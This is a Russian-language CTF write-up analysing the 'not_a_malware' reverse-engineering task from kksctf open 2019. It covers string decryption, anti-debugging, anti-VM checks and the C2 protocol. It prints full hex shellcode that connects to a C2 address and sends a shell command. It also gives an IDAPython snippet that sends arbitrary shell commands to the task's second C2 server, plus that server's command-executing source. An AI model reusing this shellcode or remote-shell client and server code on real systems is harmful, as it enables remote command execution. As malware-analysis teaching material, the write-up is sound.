Разбор немалвари с kksctf open 2019
@ Rakovsky Stanislav | Monday, Dec 30, 2019 | 7 minutes read | Update at Monday, Dec 30, 2019


reverse, 1000 баллов > not_a_malware

Rare gem: kackers group bot as a binary. We need to investigate this incident.

Warning: this is malware analysis task. This program can get output of uname, date and uptime and send it to remote control server. We do not store or analyse this data, but if you don't want to share this - task can be solved statically.

Happy reversing!

*ссылка*

@anfinogenov

not_a_malware.exe

Цель - более-менее полно разобрать данную немалварь.

Содержание:

Общая информация о семпле

Это ELF под AMD64.

Вес 25408 байт. Хэши:

MD5             f2685bd8dc030c33763b4834bc931b7c
SHA256          489404bad0b5de95248216985832e90532b91a0c3e09f414cc097ebee08d95fc
SHA1            f3fba1be4daca2700a561930f94db702a20c8611

Почти все строки пошифрованы. Среди оставшихся есть такие как:

connect
pthread_create
socket
popen
getpid
mprotect
ptrace
fread

Наличие строки ptrace является предпосылкой к тому, что нас ждет антиотладка.

Поиск криптографии (можно воспользоваться плагином findcypt2) показыает наличие b64 и магии AES & CRC32.

Уже в главной функции содержатся такие вызовы:

v3 = (char *)sub_4032FA("dP9hOBfCSeTIo3Rr", "3Ur22UKMAPjjFSqvweuu27PBy57x");

Наша цель находится в конце - функция sub_40146F. Внутри нее расшифровывается шеллкод, после чего происходит запуск последнего.

Обход антиотладки и обфускации

Запускаем отладку в виртуалке из-под vpn (мы же не хотим, чтобы наш IP ушел Максиму на CnC?)

Первая функция, на которой мы спотыкаемся - sub_402D55.

unsigned __int64 sub_402D55()
{
  __pid_t arg; // [rsp+Ch] [rbp-1Ch]
  pthread_t newthread; // [rsp+10h] [rbp-18h]
  unsigned __int64 v3; // [rsp+18h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( time(0LL) > 0x5E0BE0FF )
    exit(0x90909090);
  arg = getpid();
  pthread_create(&newthread, 0LL, start_routine, &arg);
  return __readfsqword(0x28u) ^ v3;
}

Сравнение текущего времени в секундах с 0x5E0BE0FF - киллсвитч. Программа не должна работать после 31 декабря 2019 года.

Также запускается новый тред, который делает проверку на то, подключен ли трассировщик (программа, которая может наблюдать за исполнением процесса и контроллировать его). Если да - самовыпиливаемся.

Признаем функцию sub_402D55 ненужной. Можно занопить ее вызов, а можно менять регистр RIP, отвечающий за плоследовательность исполнения программ, на лету, с помощью условных точек останова:

Выражение написано на языке IDC. Если нам нужен IDAPython (например, для более комплексных скриптов, которые будем писать ниже), можно воспользоваться функцией SetRegValue("rip", 0x401547).

Займемся функцией sub_4032FA, она отвечает за расшифровку строк. Результат функции передается через rax, поэтому мы можем воспользоваться функцией GetString, бряку с которой поставим на адрес 40336F:

print "Decrypted:", GetString(GetRegValue("rax"))
Decrypted: uoVirtualBox
Decrypted: prnVMware
Decrypted: qlvtXen
Decrypted: wclaqQEMU

Наша ошибка? Нет, в некоторых местах программа использует смещение относительно строки:

  needle = (char *)(sub_4032FA((__int64)"HhrzUjAeFJFL46uN", "ZDmu8glOH2O/PwwTyL2u") + 2);
  qword_407400 = (char *)(sub_4032FA((__int64)"gy6RlqFNCDfXcZMq", "SZ7QttUIP63q2W4x") + 3);
  qword_4073F8 = (char *)(sub_4032FA((__int64)"c7wuEwk5h1msAPWm", "Kug1L5e/sG8r") + 4);
  result = (char *)(sub_4032FA((__int64)"Z5CsKcd7MG54ersJ", "d9Jh0mzT4UiM2+7j") + 5);

Функция sub_403453() делает проверку antiVM, судя по зашифрованным строкам. Не прошли - попадем в элитный цикл, получим экзистенциалочку в нулевой байт памяти и вылетим с ошибкой:

  sub_402D55(); // уже байпассим
  sleep(1u);
  if ( sub_403453() ) // та проверка на VM
  {
    v6 = 1337;
    do
      --v6;
    while ( v6 );
    MEMORY[0] = 42;
    exit(1);
  }
  v3 = sub_4032FA((__int64)"dP9hOBfCSeTIo3Rr", "3Ur22UKMAPjjFSqvweuu27PBy57x");
  if ( !strstr(*a2, v3) )
    exit(5)

Есть два варианта:

  1. убедить программу, что sub_403453 возвращает 0 (EAX=0 на 401556 или ZF=1 на 401558)
  2. либо обойти весь этот несчастный блок, прыгнув сразу на 401591.

Воспользуемся вторым, если что не будет работать - разберемся.

В целом, таким несложным трюком мы избавились от всей антиотладки.

Программа резолвит IP not-a-malware.tasks.open.kksctf[.]ru.

В ходе работы будут вызваны также три исключения в связи с изменением дочернего процесса после вызова команд uname, date и uptime, но это можно спокойно пропускать.

В конце функция sub_40146F расшифровывает шеллкод, делает кучу, где он располагается, исполняемой (mprotect(shellcode, len, 5)) и запускает.

Шеллкод:

Шеллкод (для тех, кому хочется самостоятельно разобрать после окончания дорешивания):

554889e5534881ec98000000c745e400000000b829000000ba00000000be01000000bf020000000f0589c08945e4837de4000f881302000048c745b00000000048c745b80000000066c745b0020066c745b20bb8c745b454c99490c745e000000000488d45b04831ff8b7de44889c648c7c210000000b82a0000000f0589c08945e0837de0000f85c201000048b8636530613331643748ba3b202f62696e2f7348898570ffffff48899578ffffff48b868202d632027656348ba686f2022696d2070488945804889558848b8776e656422203e3e48ba2070776e65645f6c4889459048895598c745a06973743b66c745a42700c745dc35000000c745e800000000eb228b45e848980fb6840570ffffff83f09789c28b45e8489888940570ffffff8345e8018b45e83b45dc7cd6488d45b0488d9570ffffff4889d6488b7de4488b55dc4d31d24989c049c7c11000000048c7c02c0000000f0548c745d0000400004889e04889c6488b45d04883e801488945c8488b45d04989c041b900000000488b45d04889c1bb00000000b810000000488d50ff488b45d04801d0bf10000000ba0000000048f7f7486bc0104829c44889e04883c000488945c048c78568ffffff10000000488b55c0488d45b0488d8d68ffffff4889d6488b7de4488b55d04d31d24989c04989c948c7c02d0000000f05c745ec00000000eb22488b55c08b45ec48980fb6040283f07989c1488b55c08b45ec4898880c028345ec018b45ec4898483945d077d3488b45c048c7c7020000004889c64831d2488b55d048c7c0010000000f054889f4eb0490eb0190488b5df8c9c390909090909090909090

Последовательность действий шеллкода:

  1. Открываем сокет, стучимся на CnC (84.201.148[.]144) на порт 3000.
  2. Методом стековых строк кладем на стек строку восьмисимвольный_идентификатор; /bin/sh -c 'echo \"im pwned\" >> pwned_list;' и заксориваем на 0x97.
  3. Отправляем ответ на сервер.
  4. Получаем ответ от сервера, расксориваем его на 0x79 и пишем в stdout.
  5. Завершаем работу.

Окей, давайте попробуем подменить запрос. Проблема в том, что у идентификатора есть время жизни, так что нам снова пригодятся условные точки останова.

Мы знаем, что во время вызова mprotect у нас в памяти лежит полностью готовый шеллкод с валидным инентификатором. Напишем такой сниппет:

import socket, time

rbp = GetRegValue("rbp")
rsi = GetRegValue("rsi")

hh = GetManyBytes(rbp, rsi)

idd = hh[142:142+8]
print "id", idd

def f(s):
     print "Send", s
     xor = bytearray(ord(i)^0x97 for i in s)
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect(('ip_второго_CnC', 3000))
     s.send(xor)
     time.sleep(1)
     data = s.recv(1024)
     ddata= bytearray(ord(i)^0x79 for i in data)
     print "Got len:", len(data), "\nMessage:", "".join(chr(i) for i in ddata)
     s.close()

f("""{}; /bin/sh -c 'ls;'""".format(idd))

И разместим в бряке по адресу 401180. Также поставим обычную точку останова на месте вызова шеллкода, нам больше не нужно его исполнение. Важно помнить, что условие будет исполняться на хостовой машине, поэтому в идеале она должна быть накрыта VPN.

Команды отрабатывают:

__pycache__
flag.txt
not_a_2_c2_server.py
pwned_list
util.py

Трофеи со второго командного сервера

not_a_2_c2_server.py:

#!/usr/bin/env python3

import threading
import socket
import socketserver
import util
import time
import binascii
import subprocess

addr = "0.0.0.0", 3000

class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
    def handle(self):
        data = self.request.recv(1024)
        data = bytearray([i ^ 0x97 for i in data])
        
        otp, command = data[:8].decode(), data[10:].decode()
        
        assert otp == util.generate_otp()
        out = subprocess.check_output(command, shell=True)
        
        ok = bytearray([i ^ 0x79 for i in out])
        ok += b'\x79' * (1024-len(ok))
        self.request.send(ok)

class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


if __name__ == "__main__":
    with ThreadedTCPServer(addr, ThreadedTCPRequestHandler) as server:
        server_thread = threading.Thread(target=server.serve_forever)
        server_thread.daemon = True
        server_thread.start()
        while True:
            time.sleep(1)

util.py:

import datetime
import hashlib


OTP_LIFETIME = 30AES Encrypt


def generate_otp():
    data = datetime.datetime.now()
    target = "salt_salt_salt_" + data.strftime("%Y_%m_%d_%H:%M_") + str(data.second // OTP_LIFETIME)
    return hashlib.sha256(target.encode()).hexdigest()[10:10+8]


if __name__ == "__main__":
    print("otp:", generate_otp())

То есть он просто исполняет нашу команду, при этом у нас на ответ есть до 30 секунд в зависимости от того, повезет ли нам или нет)

Протокол общения с первым CnC

Первое сообщение, отправляемое нами после установки соединения с командным сервером с использованием порта 2000 - хэш-сумма файла, вычисленная с использованием алгоритма… А знаете что, Максим проделал замечательную проработку таска, так что предоставлю вам возможность самостоятельно пореверсить.

Здесь находится незачекреченная версия этого раздела - тык.

Затем эта хэш-сумма ксорится на 0x55 и отправляется на сервер в качестве приветствия.

В ответ нам приходят 16 байт, которые являются ключом для [требуется уровень доступа B, ответ по ссылке] в рамках всего дальнейшего общения.

С использованием этого ключа мы зашифровываем своё приветствие:

69276d20616c6976653a206e6f74616d616c7761726520626f74207632000000 (хексы)

или i'm alive: notamalware bot v2 (аски).

Отправляем на сервер.

Затем хэш-сумма файла обратно расксоривается на 0x55, зашифровывается [требуется уровень доступа B] и отправляется следом.

Вызываются три функции, занимающиеся получением информации о компьютере: sub_40370C, sub_40374D и sub_40378E. Они являются оберткой над 403601, которой передается структура c зашифрованной строкой, для каждой обертки своя. Подробнее структура будет рассмотрена в следующем разделе.

Соответственно, расшифровка: uname, date, uptime. Эти команды предопределены, их зашифрованные строки хранятся в бинаре, а не были присланы с первого командного сервера.

Интересно, что программа собирает контрольную сумму [ДАННЫЕ УДАЛЕНЫ] строки вида: “команда: результат_команды”.

Результат трех команд вместе с контрольными суммами шифруется [######], ксорится на 0xAA и отправляется на сервер.

Дальше идет много однообразной криптографии и отправления данных, в конечном итоге мы получаем зашифрованный шеллкод.

Пару слов об антиотладке

Последовательность антиотладки:

  1. Киллсвитч на 1 января 2020.
  2. Проверка подключенного трассировщика.
  3. Поиск в выводе команды lspci таких строк, как VirtualBox, VMware, Xen, QEMU (антипесочница).
  4. Проверка имени файла (антипесочника).

По следам разработчиков

Нижеприведенная информация является полетом фантазии.

Учитывая используемый алгоритм шифрования, можно сделать вывод, что программист очень хочет, чтобы мы считали его уроженцем России.

IP-адрес второго CnC принадлежит Яндекс Облаку, а учитывая его отзывчивость к абузам, располагать контрольный сервер там просто нецелесообразно - нас снова хотят убедить в том, что за атакой стоят русские.

Домен первого CnC (not-a-malware.tasks.open.kksctf[.]ru) тоже хостится в ру-сегменте, регистратор домена второго уровня - reg.ru.

Наличие киллсвитча, завязанного на время, ведет к догадке: разработчик считает, что первый стейдж будет запущен до Нового года. Исходя из источника получения семпла (русскоязычная площадка для соревнований по компьютерной безопасности “kksctf 2019 open”), атака является целенаправленной, преследуемая задача - кибершпионаж учебная.

Cats!

Under construction

Wow! Flipable!

Hello from another side of the Moon!

Looking for a flag? Okay, take this:
LFXXKIDBOJSSA43XMVSXIIC6LYQCAIA=

About me

Under construction. You can try to contact me and fill this field… haha… ha…